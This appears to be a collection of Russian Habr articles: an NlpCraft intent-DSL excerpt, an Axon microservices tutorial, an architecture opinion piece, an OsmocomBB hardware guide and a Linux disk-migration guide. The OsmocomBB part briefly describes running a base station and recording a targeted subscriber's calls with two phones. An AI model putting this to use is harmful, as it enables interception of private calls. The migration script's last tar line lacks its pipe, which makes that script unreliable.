* В конфигурации интента мы можем пометить каждый элемент — должен ли он быть доступен только из текущего предложения или может быть также получен из контекста.
* Каждый элемент может быть проверен на удовлетворение ряду условий с помощью специального [DSL](https://nlpcraft.apache.org/data-model.html#dsl), предоставляющего широкие возможности по фильтрации. Фильтрация может осуществляться как по характеристикам сущностей, так и по NLP характеристикам самих слов, по которым сущность была обнаружена.
Пара нарочито экзотических примеров:
+ **isalpha(~nlp:origtext) == true** — все буквы слова, соответствующего проверяемому элементу интента, должны быть в формате unicode.
+ **startidx != 0** — слово, соответствующее элементу интента, не должно быть первым в запросе.
+ **lowercase(~city:country) == 'france')** — значение поля ”**country**” элемента “**city**” должно быть равно ‘france' без учета регистра.
Для интересующихся — [грамматика](https://github.com/apache/incubator-nlpcraft/blob/master/nlpcraft/src/main/scala/org/apache/nlpcraft/model/intent/impl/antlr4/NCIntentDsl.g4) текущей имплементации системы построения интентов.
### Примеры
Приведу пару примеров определения интентов целиком с пояснениями:
```
intent=alarm
ordered = true
term~{id=='x:alarm'}
term(nums)~{
id=='nlpcraft:num' &&
~nlpcraft:num:unittype=='datetime' &&
~nlpcraft:num:isequalcondition==true
}[0,7]
```
Выше определен интент с идентификатором “**alarm**”, который должен сработать в случае если пользовательский запрос содержит:
* одну сущность типа “**x:alarm**”, а также
* от нуля до семи сущностей типа “**nlpcraft:num**” со значением поля “**unittype**” равным “**datetime**” и значением поля ”**isequalcondition**” равным **true**.
Оба элемента могут быть получены как напрямую, так и из контекста беседы. Порядок элементов в запросе важен.
Еще пример:
```
intent=customSortReport
flow='login+'
term(sort)~{id == 'sort:best' || id == 'sort:worst'}
term(tbls)={groups @@ 'table'}+
```
Выше определен интент с идентификатором “**customSortReport**”, который должен сработать в случае если пользовательский запрос содержит:
* одну сущность типа “**sort:best**” или “**sort:worst**” (данная сущность может быть получена из текста запроса или извлечена из контекста беседы) и
* одну или более сущностей группы “**table**” (данные сущности должны быть представлены в запросе и не могут быть извлечены из контекста беседы).
Кроме того, для успешного срабатывания интента необходимо чтобы перед проверяемым запросом произошло как минимум одно успешное срабатывание интента с идентификатором “**login**”.
Изощренных примеров я приводить не буду, думаю основная идея понятна.
### Зачем нужна подобная гибкость
Задание таких достаточно сложных интентов преследует две основные цели:
1. Разумная минимизация их количества, возможность объединения логически схожих интентов. Так для примера “будильник” для Google DialogFlow мы можем создать всего один интент с условием:
```
term(period)~{
id == 'sys.period' ||
id == 'sys.date-period' ||
id == 'sys.date-time'
}
```
2. Сведение к минимуму ложных срабатываний, то есть ситуаций, когда мы уже попали в функцию соответствующую интенту, и только в ней смогли разобраться, что попали в этот интент по ошибке и надо было бы выбрать другой.
Остановимся подробнее на втором пункте. Это достаточно сложная проблема, возникающая в ситуациях, когда требуется поддерживать множество интентов в рамках одной модели. Рассмотрим пример. Пусть модель содержит две сущности: “вопрос про время” и “город”, и пусть мы хотим поддержать следующую логику ответов:
* Возвращать прогноз погоды, если в вопросе нашлись обе сущности, но только для крупных городов, для малых у нас нет данных.
* Для малых городов, или если запрос был задан без указания города — возвращать рекламу.
* Прочие запросы игнорировать.
Согласно данной логике создадим два интента:
```
intent=weather
term(t1)={id == 'custom:weather:ask'}
term(t2)={id == 'nlpcraft:city'}
intent=adv
term(t1)={id == 'custom:weather:ask'}
term(t2)={id == 'nlpcraft:city'}?
```
Проблема в том, что интент “weather” имеет более высокий приоритет по причине более строго задания условия и будет вызван даже для запросов по малым городам. Если разработчик бросит в его колбеке определенное исключение (подробнее [тут](https://nlpcraft.apache.org/intent-matching.html) и [тут](https://nlpcraft.apache.org/apis/latest/org/apache/nlpcraft/model/NCRejection.html), возможность передачи управления — одна из важных особенностей системы обработки интентов Apache NlpCraft), то управление будет возвращено матчеру интентов и для данного запроса отыщется другой, более подходящий интент — “adv”. Но в нашем случае естественнее добавить в интент “weather” фильтр, чтобы сразу избежать ложного срабатывания.
```
intent=weather
term(t1)={id == 'custom:weather:ask'}
term(t2)={
id == 'nlpcraft:city' &&
~nlpcraft:city:citymeta['population'] >= 100000
}
```
Обратите внимание на то, что с помощью фильтров не всегда можно решить проблему нежелательного срабатывания интента, и иногда все же проще воспользоваться механизмом передачи управления из функции обратно матчеру. Так было сделано для соблюдения баланса между возможностями, предоставляемыми фильтрами и удобством их использования.
Изначально, в процессе проектировании [Intent DSL](https://nlpcraft.apache.org/intent-matching.html), была предпринята попытка покрыть все возможные варианты матчинга, но сложность работы с такими фильтрами вышла за все допустимые рамки.
### Настройка модели
Что еще пользователь Apache NlpCraft может настроить в модели, из того что может повлиять на работу с интентами:
* Указать минимальное и максимальное количество возможных слов в запросе. При несоответствии сконфигурированным значениям, предложение вообще не будет обработано, вне зависимости от содержимого интентов модели.
* Задать максимальное количество допустимых нераспознанных слов в запросе (регулировка степени уверенности в том, что запрос был разобран правильно), а также максимально возможное количество подозрительных, не встречающиеся в словаре, слов и т.д.
* Дополнительно сконфигурировать стоп-слова для модели: расширить перечень стандартных стоп-слов или исключить некоторые стандартные стоп-слова. Эта настройка может повлиять на количество учитываемых нераспознанных слов в запросе.
Указанные выше настройки применяются ко всей модели, а не к какому-либо конкретному интенту. Подробное описание работы с моделями и их параметрами — [здесь](https://nlpcraft.apache.org/data-model.html).
### Заключение
Я постарался описать основные возможности достаточно мощной системы построения интентов, предоставляемой проектом Apache NlpCraft и привести несколько примеров ее использования. Хочу обратить внимание на то, что я не ставил перед собой задачи сравнения каких-то проектов с целью выявления победителя, и рассказать, кто же лучше и гибче других поддерживает определение интентов. [Alexa](https://developer.amazon.com/en-US/docs/alexa/alexa-voice-service/api-overview.html), [Google Dialogflow](https://cloud.google.com/dialogflow/docs) — мощные, отточенные системы, и полагаю, что в силу специфики их архитектуры, инструментария и т.д., функциональность построения интентов в них ограничена вполне осознанно. [Apache NlpCraft](https://nlpcraft.apache.org/) — проект совершенно другого рода, спроектированный для решения иного типа задач и обладающий принципиально иными возможностями. С одной стороны он не имеет некоторых неоспоримых преимуществ вышеперечисленных проектов, особенно в области интеграций, автоматизации развертывания, WebUI. C другой стороны он свободен от множества естественных ограничений этих проектов и может предоставить своим пользователям максимально гибкий NLP инструментарий, а также практически полный контроль над матчингом пользовательских запросов. | https://habr.com/ru/post/534034/ | null | ru | null |
# Микросервисы с коммуникацией через Axon
В этом простом туториале мы сделаем пару микросервисов на Spring Boot и организуем между ними взаимодействие через фреймворк Axon.
---
*Допустим у нас такая задача.*
Есть источник сделок на фондовом рынке. Этот источник передает нам сделки по Rest-интерфейсу.
Нам надо эти сделки получить, сохранить в базу данных и сделать удобное in-memory хранилище.
Это хранилище должны выполнять следующие функции:
* возвращать список трейдов;
* возвращать полную позицию, т.е. таблицу «инструмент» — «текущее кол-во бумаг»;
* возвращать позицию по заданному инструменту.
*Как мы подойдем к решению этой задачи?*
По заветам микросервисной моды, нам надо разделить задачу на составляющие микросервисы:
* получение по Rest-у сделки;
* сохранение сделки в базу данных;
* in-memory хранилище для представления данных по позиции.
Давайте в рамках этого туториала сделаем первый и третий сервис, а второй оставим на вторую часть (напишите в комментариях если это интересно).
Итак, у нас есть два микросервиса.
Первый получает данных извне.
Второй эти данные обрабатывает и отвечает на входящие запросы.
Мы конечно хотим получить горизонтальное масштабирование, безостановочное обновление и прочие достоинства микросервисов.
*Какая, весьма непростая, задача перед нами стоит?*
Вообще-то их много, но сейчас давайте поговорим, как между этими микросервисами будут идти данные. Между ними можно тоже сделать Rest, можно поставить какую-нибудь очередь, можно много чего придумать со своими плюсами и минусами.
Давайте рассмотрим один из возможных подходов – ассинхронное взаимодействие через **Axon-фреймворк**.
*Какие плюсы такого решения?*
Во-первых, ассинхронное взаимодействие увеличивает гибкость (да, есть тут и минус, но мы пока ведь только о плюсах).
Во-вторых, прямо из коробки мы получаем **Event Sourcing** и **CQRS**.
В-третьих, Axon предоставляет готовую инфраструктуру, и нам надо сосредоточиться только на разработке бизнес-логики.
Приступим.
Проект у нас будет на gradle. В нем будет три модуля:
* common. модуль с общими структурами данных (мы не любим копипасту);
* tradeCreator. модуль с микросервисом для приема сделок по Rest;
* tradeQueries. модуль с микросерсисом для отображения позиции.
Возьмем Spring Boot за основу и подключим стартер Axon-а.
Axon отлично работает и без Spring, но мы будем их использовать вместе.
Тут надо остановиться и пару слов рассказать про Axon.
Это клиент-серверная система. Есть сервер – это отдельно приложение, мы его будем запускать в докере.
И есть клиенты, которые встраиваются в микросервисы.
Получается такая картина. Сначала запускается Axon-сервер (в докере), потом наши микросервисы.
При старте микросервисы ищут сервер и начинают с ним взаимодействовать. Взаимодействие условно можно разделить на два вида: техническое и бизнесовое.
Техническое – это обмен сообщениями «я живой» (такие сообщения можно увидеть в режиме логирования debug).
Бизнесовое – это обмет сообщениями вроде «новая сделка».
Важная особенность, после запуска микросервис может спросить у Axon-сервера «что произошло» и сервер передает микросервису накопленные события. Таким образом, микросервис относительно безопасно может быть перезапущен без потери данных.
При такой схеме обмена мы можем очень просто запускать много экземпляров микросервисов,
причем на разных хостах.
Да, один экземпляр Axon-сервера – это не надежно, но пока так.
Мы работаем в парадигмах Event Sourcing и CQRS. Это значит, что у нас должны быть «команды», «события» и «выборки».
У нас будет одна команда: «создать сделку», одно событие «сделка создана» и три выборки: «показать все сделки», «показать позицию», «показать позицию по инструменту».
Схема работы получается такой:
1. Микросервис tradeCreator принимает сделку по Rest.
2. Микросервис tradeCreator создает команду «создать сделку» и отправляет ее в Axon-сервер.
3. Axon-сервер принимает команду и пересылает команду заинтересованному получателю, в нашем случае это микросервис tradeCreator.
4. Микросервис tradeCreator получает команду, формирует событие «сделка создана» и отправляет его Axon-серверу.
5. Axon-сервер принимает событие и пересылает заинтересованным подписчикам.
6. Сейчас у нас только один заинтересованный получатель – это микросервис tradeQueries.
7. Микросервис tradeQueries получает событие и обновляет внутренние данные.
(Важно, что в момент формирования события Микросервис tradeQueries может быть не доступен, но как только он запустится, то сразу получит событие).
Да, axon-сервер стоит в центре коммуникций, все сообщения идут через него.
*Давайте переходить к кодированию.*
Чтобы не загромождать пост кодом, ниже я приведу только фрагменты, ссылка на пример целиком будет ниже.
Начнем с общего модуля common.
В нем общие части – это событие (class CreatedTradeEvent). Обратите внимание на наименование, по сути, это название команды, которая породила это событие, но в прошедшем времени. В прошедшем, т.к. сначала появляется команда, которая приводит к созданию события.
К другим общим структурам относятся классы для описания позиции (class Position), сделки (class Trade) и сторона сделки (enum Side), т.е. купля или продажа.
Переходим к модулю tradeCreator.
Этот модуль имеет Rest-интерфейс (class TradeController) для приема сделок.
Из полученной сделки формируется команда «создать сделку» и отправляется в axon-сервер.
```
@PostMapping("/trade")
public ResponseEntity create(@RequestBody Trade trade) {
var createTradeCommand = CreateTradeCommand.builder()
.tradeId(trade.getTradeId())
...
.build();
var result = commandGateway.sendAndWait(createTradeCommand, 3, TimeUnit.SECONDS);
return ResponseEntity.ok(result.get().toString());
}
```
Для обработки команды используется класс class TradeAggregate.
Чтобы Axon его нашел, ставим аннотацию @Aggregate.
Метод для обработки команды выглядит так (с сокращением):
```
@CommandHandler
public TradeAggregate(CreateTradeCommand command) {
log.info("command: {}", command);
var event = CreatedTradeEvent.builder()
.tradeId(command.tradeId())
....
.build();
AggregateLifecycle.apply(event);
}
```
Из команды формируется событие и отправляется на сервер.
Команда находится в классе CreateTradeCommand.
Теперь посмотрим на последний модуль tradeQueries.
Выборки описываются в пакете queries.
В этом модуле тоже есть Rest-интерфейс
public class TradeController.
Для примера посмотрим обработку запроса: «показать все сделки».
```
@GetMapping("/trade/all")
public List findAllTrades() {
return queryGateway.query(new FindAllTradesQuery(),
ResponseTypes.multipleInstancesOf(Trade.class)).join();
}
```
Создается запрос на выборку и отправляется на сервер.
Для обработки запроса на выборку используется класс TradesEventHandler.
В нем есть метод, отмеченный аннотацией
```
@QueryHandler
public List handleFindCurrentPositionQuery(FindCurrentPositionQuery query)
```
Именно он и отвечает за выборку данных из in-memory хранилища.
Возникает вопрос, как в этом хранилище обновляется информация.
Начнем с того, что это просто набор ConcurrentHashMap, заточенных под конкретные выборки.
Для их обновления применяется метод:
```
@EventHandler
public void on(CreatedTradeEvent event) {
log.info("event:{}", event);
var trade = Trade.builder()
...
.build();
trades.put(event.tradeId(), trade);
position.merge(event.shortName(), event.size(),
(oldValue, value) -> event.side() == Side.BUY ? oldValue + value : oldValue - value);
}
```
Он принимает событие «сделка создана» и обновляет Map-ы.
Это основные моменты разработки микросервисов.
*Что можно сказать про недостатки Axon?*
Во-первых, это усложнение инфраструктуры, появилась точка отказа – Axon-сервер, все коммуникации идут через него.
Во-вторых, весьма ярко проявляется недостаток подобных распределенных системы – временная несогласованность данных. В нашем случае между получением новой сделки и обновлением данных для выборок может пройти недопустимо много времени.
*Что осталось за кадром?*
Совсем ничего не сказано про Event Sourcing и CQRS, что это такое и для чего нужно.
Без раскрытия этих понятий некоторые моменты могли быть не понятны.
Возможно, отдельные фрагменты кода тоже требуют пояснение.
Об этом мы поговорили на [открытом вебинаре](https://youtu.be/NMFeDPBAO3k).
[Полный пример](https://github.com/petrelevich/jvm-digging/tree/master/eventSourcing/axonTrader). | https://habr.com/ru/post/519144/ | null | ru | null |
# Почему не стоит использовать двухуровневую архитектуру при разработке клиент-серверных приложений
Поблагодарим моего знакомого за то что он рассказал мне о своей новой лабораторной работе, в университете, по дисциплине связанной с базами данных. В противном случае статья просто бы не увидела бы света.
Сутью данной лабораторной работы было написать n-ое количество валидаций, хранимых процедур и триггеров в MS SQL. Все триггеры, валидации и хранимые процедуры очень просты, но это лишь первая лабораторная и дальше будет хуже, будут многоэтажные sql запросы и хранимые процедуры очень большого объёма.
Как мне кажется тратить время на изучение подобных вещей в 2018 году очень не практично, а именно то что никто не использует просто голую базу данных и сразу вывод на клиент. Все приложения имеют бизнес логику и подвергаются постоянному масштабированию и изменению. И завязывать всё на базе данных не правильно так как может возникнуть ряд проблем которые невозможно решить используя лишь СУБД в качестве серверной стороны.
**Примерами таких проблем могут быть:**
* Возникновение необходимости использования другой базы данных
* Необходимость вывода данных в нескольких видах для разных клиентских сторон(JSON, HTML, XML и др)
* Добавление и изменение таблиц, колонок или изменения их имён, что повлечёт за собой изменение всего связанного с каждой таблицей или колонкой
* Необходимость получения данных так же из других баз данных установленных на сервер, либо вообще получение данных из других сервисов
### Рассмотрим типичный пример того что нам нужно отправить письмо по email
Как это выглядит если отправлять сообщение через MS SQL
```
DECLARE @tableHTML NVARCHAR(MAX) ;
SET @tableHTML =
N'Work Order Report
=================
' +
N'
' +
N'| Work Order ID | Product ID |' +
N' Name | Order Qty | Due Date |' +
N' Expected Revenue |
' +
CAST ( ( SELECT td = wo.WorkOrderID, '',
td = p.ProductID, '',
td = p.Name, '',
td = wo.OrderQty, '',
td = wo.DueDate, '',
td = (p.ListPrice - p.StandardCost) \* wo.OrderQty
FROM AdventureWorks.Production.WorkOrder as wo
JOIN AdventureWorks.Production.Product AS p
ON wo.ProductID = p.ProductID
WHERE DueDate > '2004-04-30'
AND DATEDIFF(dd, '2004-04-30', DueDate) < 2
ORDER BY DueDate ASC,
(p.ListPrice - p.StandardCost) \* wo.OrderQty DESC
FOR XML PATH('tr'), TYPE
) AS NVARCHAR(MAX) ) +
N'
' ;
EXEC msdb.dbo.sp_send_dbmail @recipients='yourfriend@Adventure-Works.com',
@subject = 'Work Order List',
@body = @tableHTML,
@body_format = 'HTML' ;
```
Прекрасный код, согласитесь?
Редактирование и изменение данного кода будет доставлять нам ~~анальные боли~~ неудобства. А это лишь простая табличка, в которой нет стилей и ничего сложного, просто текст. А теперь представим что мы в реальном мире и нам надо отправлять нормальные, красивые сообщения, с картинками, вложениями и стилями. Перейдя по [ссылке](https://pastebin.com/s5m8Y16N), вы собственными глазами увидите какими могут быть большими html шаблоны писем. И редактирование чего либо подобного будет тратить тонну вашего времени и сил.
А в случае если бы вы использовали трехуровневую архитектуру, вам бы не пришлось использовать столь изощрённые методы оформления писем. Был бы использован какой либо фреймворк с шаблонизатором, и дело с концом.
### Усложненный функционал
Существует множество ситуаций когда нам необходимо создать в приложении возможности которые база данных сама по себе просто не сможет реализовать, так как в ней не предусмотрено подобное. К примеру в вашем приложении заказчик попросил реализовать чаты с отображением новых сообщений в режиме реального времени. Подумав совсем чуть чуть вы сразу скажете что необходимо использовать websockets, но придя к такому решению вы встанете в тупик, так как база данных просто не поддерживает ничего подобного, и вам придётся расширять ваше приложение до трехуровневой архитектуры и обеспечивать работу websockets на новом уровне, разграничивающим базу данных и клиентскую часть.
Конечно вы можете сказать что:
> Пока нет необходимости в подобном функционале, то и необходимость использования дополнительного уровня отпадает.
Но поспешу вас поправить что серверная часть реализованная на более высокоуровневых системах чем просто база данных упрощает вам жизнь и скорость разработки, позволяет более гибко выстраивать настройки под ту или иную ситуацию. Если где-то нужно воспользоваться сторонним сервисом, вы используете соответствующую библиотеку предоставленную этим самым сервисом.
Вам не нужно изобретать вечно всевозможные велосипеды переписывая логику библиотек в SQL. Если вы будете использовать клиент-сервер-база данных, то перед вами раскроется огромное море возможностей, всё станет максимально кастомизируемым и простым.
* Поменялось название поля в таблице — вам нужно будет просто описать в модели, что данное свойство теперь ссылается на другое поле, и вам не нужно будет менять логику приложения и все места где используется данное поле.
* Нужно использовать данные из другой СУБД — просто делаете запрос в другую БД и спокойно работаете с этими данными.
* Нужно обратиться к стороннему сервису и получить данные от туда перед тем как делать к примеру INSERT — не беда, это очень просто сделать в любом фреймворке.
* Нужна асинхронность при выполнении запросов — берём тот же NodeJS с его расхваленной ансинхронностью и дело в шляпе.
* Надо поменять базу данных — вам не придётся переписывать все хранимые процедуры для новой БД, вы просто смените драйвер базы данных и забудете об этом.
И таких примеров тысячи, если не десятки тысяч.
Вы сможете без особых усилий реализовать в течении нескольких часов, то на что возможно бы вам понадобилось несколько десятков, а возможно и сотен часов, если бы вы использовали только голую базу данных.
Эта статья призывает вас, развиваться в правильном направлении и изучать более продвинутые вещи, ведь с каждым годом функционал приложений становятся всё более и более сложным и продвинутым. Сейчас современные фреймворки все SQL запросы напишут за вас. И не пропустят точку с запятой. От вас же требуется грамотно использовать все те инструменты которые предоставляет фреймворк, а не придумывать велосипеды.
Так же хотелось бы чтобы преподаватели ВУЗов смотрели на реалии в которые попадает студент на работе, и давали реальные задачи, а не задачи валидации мобильного телефона на уровне БД.
**UPD 13.02.2018**
Поблагодарим [speshuric](https://habrahabr.ru/users/speshuric/) за [прекрасно аргументированный комментарий](#comment_10667342) к данной статье | https://habr.com/ru/post/348946/ | null | ru | null |
# Знакомство с OsmocomBB: 0x02 Hardware
Привет %username%! Для работы с OsmocomBB необходимо определенное оборудование, на базе которого работает программная часть, а именно: приемо-передающее устройство, Ваш компьютер, выступающий в роли сервера, и кабель, соединяющий их между собой. В роли приемо-передающего устройства (transreceiver) чаще всего выступает обычный сотовый телефон, на котором запущена кастомная прошивка. Для соединения телефона с компьютером может потребоваться преобразователь TTL-USB. Следую инструкциям, опубликованным на сайте проекта, точнее, собирая информацию по кусочкам, можно собрать рабочий аппаратный комплекс, однако на данном этапе начинающему исследователю GSM сетей может встретиться множество подводных камней. Давайте разберемся со всем по порядку.
### Навигация
* [0x01 Введение](http://habrahabr.ru/post/257631/)
* [0x02 Hardware](#)
* [0x03 Software](http://habrahabr.ru/post/260213/)
### Transreceiver
Все началось в 2010 году, когда разработчики Osmocom закончили основную часть OpenBSC. Возникла необходимость в реализации клиентской части протокола GSM. Тогда было два пути развития: либо реализовать приемопередающее устройство на базе нового оборудования, либо воспользоваться уже готовым решением. В качестве аппаратной платформы были выбраны телефоны Motorola на базе чипсета [Calypso](http://bb.osmocom.org/trac/wiki/Hardware/Calypso): C123, C118, C121. Почему именно Calypso? Дело в том, что спецификации данного чипсета в свое время благополучно утекли в Интернет и доступны по сей день.
Начался процесс дизассемблирования прошивок, и в этом же году в репозитории проекта появился первый коммит. Позже проект был портирован на телефоны с этим же чипсетом, такие как Sony Ericsson J100i, Pirelli DP-L10, Neo 1973, Neo Freerunner и еще некоторые телефоны Motorola серии C и V. Подробнее о поддерживаемых платформах можно прочитать на странице проекта [Hardware/Phones](http://bb.osmocom.org/trac/wiki/Hardware/Phones).
Передача данных от сотового телефона (ms) к базовой станции (BTS) осуществляется в несколько этапов. Сначала событие передачи генерируется центральным процессором и передается на процессор обработки сигналов (DSP), который захватывает сигнал напрямую с микрофона и передает на аппаратный модулятор. После модуляции сигнал преобразуется из цифрового в аналоговый, усиливается и через switch поступает на антенну, с помощью которой и передается в эфир. Процесс приема сигнала обратный, только в данном случае сигнал проходит фильтрацию, а демодуляция выполняется программно на DSP.
Возникает вопрос: можно ли запустить OsmocomBB на современных телефонах?
К сожалению, нет. Первая проблема — это secure boot. Ни для кого не секрет, что во многих устройствах есть загрузчик, который запускает прошивку, и сотовые телефоны — не исключение. В большинстве случаев загрузчик «заблокирован» и не позволяет грузить сторонние прошивки. Существует возможность разблокировки загрузчика, но есть более серьезная проблема. Драйверы и спецификации DSP-процессоров закрыты и доступны лишь немногим.
Итак, ложка дегтя номер два. Данные телефоны не так-то просто найти. Выпускались они во второй половине нулевых годов, и на данный момент их можно найти либо на aliexpress, либо на ebay, либо на avito в соседних городах. Третий вариант наиболее актуален, так как вместо заказанного осмофона может прийти поделка. Мне удалось добыть лишь три совместимых телефона: два С118 и один С115, поэтому я буду рассказывать о работе с ними. С118 построен на платформе E88, С115 — на E87. Обе идентичны на 99,9%, как утверждают разработчики проекта. Немного фотосессии:
Еще одна важная деталь. В США, Канаде, Африке и некоторых странах Латинской Америки GSM работает в диапазонах 850/1900 МГц. Для них выпускались телефоны стандарта US. Для стандартных диапазонов частот выпускался стандарт EU. Проект OsmocomBB изначально рассчитан на стандарт EU, однако некоторым умельцам удавалось модифицировать исходный код и запускать прошивки на телефонах стандарта US. В любом случае рекомендую придерживаться стандарта EU. Как их отличить? Смотрим на географическое положение продавца. Можно так же просто проверить работоспособность телефона в наших сетях, просто позвонив кому-нибудь.
### Провода и преобразователи
У рассматриваемых телефонов есть последовательный порт, выводы которого расположены на плате. Что довольно забавно, порт гарнитуры тоже выступает в роли последовательно порта и может быть использован для отладки оригинальной прошивки (сервисное меню \*\*16379#) и общения с загрузчиком. При запуске телефона встроенный загрузчик посылает запрос на загрузку прошивки через последовательный порт, и если ему никто не отвечает, то загружается прошивка из flash-памяти.
Можно приобрести уже готовый кабель на сайте [sysmocom](http://shop.sysmocom.de/t/osmocombb/cables), но это не интересно, ведь его можно собрать самому. Вам понадобится 2,5 миллиметровый джек (около 5р), три провода, преобразователь (около 150р на aliexpress) и умение паять. Все это добро стоит не более 200р и гораздо дешевле 13 евро. И тут вспоминается Arduino, у которой на борту уже есть USB-TTL конвертор. Так я и сделал, когда только начинал знакомиться с проектом. На моей freeduino (отечественный клон) был распаян FT232RL, который верно служил моим восстановителем роутеров (иногда и убийцей). Он успешно принимал сообщения загрузчика, но не позволял загрузить прошивку. Поэтому лучше всего приобретать отдельный преобразователь из списка, опубликованного в разделе [Hardware/SerialCable](http://bb.osmocom.org/trac/wiki/Hardware/SerialCable).
Наиболее подходящими являются конверторы на базе чипсета FT232. Они «из коробки» позволяют использовать нестандартные скорости передачи данных и работают довольно стабильно. Следующий рекомендуемый чипсет — CP2102, которым пользуюсь я сам. Преобразователи на его основе не дорогие и после прошивки тоже позволяют использовать нестандартные скорости. Инструкцию по прошивке можно найти в разделе [Hardware/CP210xTutorial](http://bb.osmocom.org/trac/wiki/Hardware/CP210xTutorial). PL2303 подойдет для ограниченного круга задач, так как не умеет работать на высоких скоростях, да и прошивку иногда грузит через раз.
Что касается джека, дальний контакт является TxD, средний — RxD, а оставшийся является GND. Паять нужно аккуратно, чтобы не ничего перегреть, а по завершении проверить сопротивление каждого контакта мультиметром. После этого можно проверить работоспособность кабеля.
```
# 1. Выключаем телефон
# 2. Соединяем его с компьютером
# 3. Если у Вас нет minicom, устанавливаем:
$ sudo apt-get install minicom
# 4. Запускаем в режиме настройки
$ sudo minicom -s
# 5. Идем в "Настройка последовательного порта".
# Выбираем свой порт, который можно найти в выводе команды ls /dev/ | grep tty
# Скорость 115200, стоповые биты: 8-N-1.
# После этого нажимаем "Enter", затем "Esc".
# 6. Однократно (не зажимая) нажмите кнопку включения телефона.
# Если появится строка @ftmtoolerror, значит Вы готовы идти дальше.
```
Список возможных ошибок:
* Контакты джека сгорели при пайке. Такое возможно, поэтому лучше приобрести сразу несколько джеков и проверять сопротивление каждого контакта.
* Не тот преобразователь. Проверьте маркировку чипсета: FT232 и FT232RL — это не всегда одно и то же. Если чипсет тот, что нужен, можно выполнить небольшую диагностику, замкнув Rx и Tx между собой. При этом все, что Вы отправляете на последовательный порт, должно возвращаться обратно.
* Телефон завис на стадии загрузки. Вытащите, а затем снова вставьте батарею.
### Несколько телефонов
Для работы основных модулей OsmocomBB достаточно одного телефона. Однако, для запуска BTS Вам понадобится как минимум два. Базовая станция должна рассылать beacon-пакеты, которые сигнализируют о ее присутствии и помогают телефонам подключаться к ней. Производительность сети при одновременной рассылке beacon-пакетов и обработке пользовательских соединений на одном телефоне катастрофично мала. Также при сниффинге GSM-трафика лучше обзавестись минимум двумя телефонами: один слушает служебные сообщения для прослушиваемого абонента, другой переключается на его частоты и записывает разговор.
### Bonus!
### Навигация
* [0x01 Введение](http://habrahabr.ru/post/257631/)
* [0x02 Hardware](#)
* [0x03 Software](http://habrahabr.ru/post/260213/) | https://habr.com/ru/post/258661/ | null | ru | null |
# Перенос системы LINUX на другой винчестер с переразбивкой разделов
Когда-то давным давно в ~~далекой-далекой галактике~~ мне понадобилось перенести мою систему linux с одного винчестера на другой, а пользоваться проприетарщиной ужас, как не хотелось. Погуглив и поискав с помощью других поисковиков я нашел для себя решение, которое линукс-админу может показаться смешным, а меня оно тогда здорово выручило.
В общем — вот оно. Бейте ногами, режьте на части. Встречайте!
Первое, что нам необходимо сделать — это разметить новый жесткий диск в соответствии с желаниями и, возможно, исключив ошибки предыдущей разметки (если на исходном диске что то не нравится).
Разберем на конкретном примере моей системы. Я собираюсь перенести систему с **HDD=80Gb** на **HDD=20Gb**.
Мой диск, объемом 80Gb размечен следующим образом:
`/dev/hda1 — /boot (250 Mb)
/dev/hda2 — swap (1Gb)
/dev/hda3 — extended (20Gb) (включает в себя /dev/hda5, /dev/hda6, /dev/hda7, /dev/hda8)
/dev/hda5 — / (5Gb)
/dev/hda6 — /tmp (512Mb)
/dev/hda7 — /usr (10Gb)
/dev/hda8 — /var (5Gb)
/dev/hda4 — /home (54Gb)`
**/home** очень сильно забит информацией, потому его в клонирование я не включаю.
Выставив перемычки как положено, я подключаю новый HDD в систему. Он принял метку **hdb**
Можно разметить его с помощью ЛЮБОЙ удобной для вас утилиты. Мне было проще воспользоваться **GPARTED** — так визуально понятнее, да и видно там сразу, сколько реально места занято данными на той или иной партиции, что поможет определить стоит ли выделять столько много (или мало) места.
Я разметил новый диск (/dev/hdb) следующим образом:
`/dev/hdb1 — /boot (250 Mb)
/dev/hdb2 — swap (1Gb)
/dev/hdb3 — extended (14Gb) (включает в себя /dev/hdb5, /dev/hdb6, /dev/hdb7, /dev/hdb8)
/dev/hdb5 — / (1Gb)
/dev/hdb6 — /tmp (512Mb)
/dev/hdb7 — /var (5Gb)
/dev/hdb8 — /usr (7Gb)
/dev/hdb4 — /home (4Gb)`
Следующим шагом надо подмонтировать все созданные разделы на новом HDD к существующей системе.
Для этого на существующей системе я создал директорию **/backup**, в которой создал поддиректории **/boot, /root, /var, /usr** (**/tmp** — не надо), в соответствии с разделами на которые я разделил новый HDD.
Далее осуществляем само монтирование:
`sudo mount /dev/hdb1 /backup/boot
sudo mount /dev/hdb5 /backup/root
sudo mount /dev/hdb7 /backup/var
sudo mount /dev/hdb8 /backup/usr`
Вот и подобрались к самому интересному, но отнюдь не самому простому месту, к копированию данных.
В отличии от Windows Linux позволяет скопировать себя ПОЛНОСТЬЮ. Но надо помнить один важный момент — в системе есть аттрибуты на директории и файлы, а так же симлинки и хардлинки. Так вот необходимо так скопировать систему, чтоб все эти связи не растерялись. Для такой процедуры, по мнению больших специалистов, лучше всего подходит команда tar.
Смысл в том, что мы НЕ БУДЕМ архивировать файлы на диск, а будем их переносить через так называемую «трубу» или «поток» на приемный HDD.
Для упрощения процедуры переноса я написал скрипт **backup.sh**:
`#!/bin/sh
cd /
tar -cf - dev initrd.img opt srv bin cdrom etc initrd lib sbin sys vmlinuz | (cd /backup/root; tar -xvpf -)
cd /boot
tar -cf - * | (cd /backup/boot; tar -xvpf -)
cd /var
tar -cf - * | (cd /backup/var; tar -xvpf -)
cd /usr
tar -cf - * (cd /backup/usr; tar -xvpf -)`
немного объясню, что к чему:
«cd /»
— переход в root
«tar -cf — dev initrd.img opt srv bin cdrom etc initrd lib sbin sys | (cd /backup/root; tar -xvpf -)
» — за**tar**ивание перечисленных директорий и файлов с передачей их на рас**tar**ивание на приемный HDD.
Узнать какие директории и файлы надо переносить несложно. Просто выполните команду «**ls /**» тем самым получив листинг вашей системы начиная с **/**.
В моем случае это:
`ls /
backup boot dev home initrd.img media opt root srv tmp var
bin cdrom etc initrd lib mnt proc sbin sys usr vmlinuz`
Из всего этого «добра» нам нужно выделить то что будет находиться в **/**.
Так, как я выделил отдельные партиции на диске под **/boot, /var, /tmp, /usr и /home**, получается что их на данном шаге нужно пропустить. Следовательно берем только **dev initrd.img opt srv var
bin cdrom etc initrd lib sbin sys vmlinuz**
А с остальными проще:
`cd /boot`
— заходим в существующий /boot
`tar -cf - * | (cd /backup/boot; tar -xvpf -)`
переносим все содержимое /boot в /backup/boot
и т.д.
Итак запускаем скрипт **backup.sh** и идем отдыхать на некоторое время. У меня все заняло около 10 минут.
Теперь еще один важный момент на который я вначале не обратил внимание, за что поплатился лишним временем и головной болью.
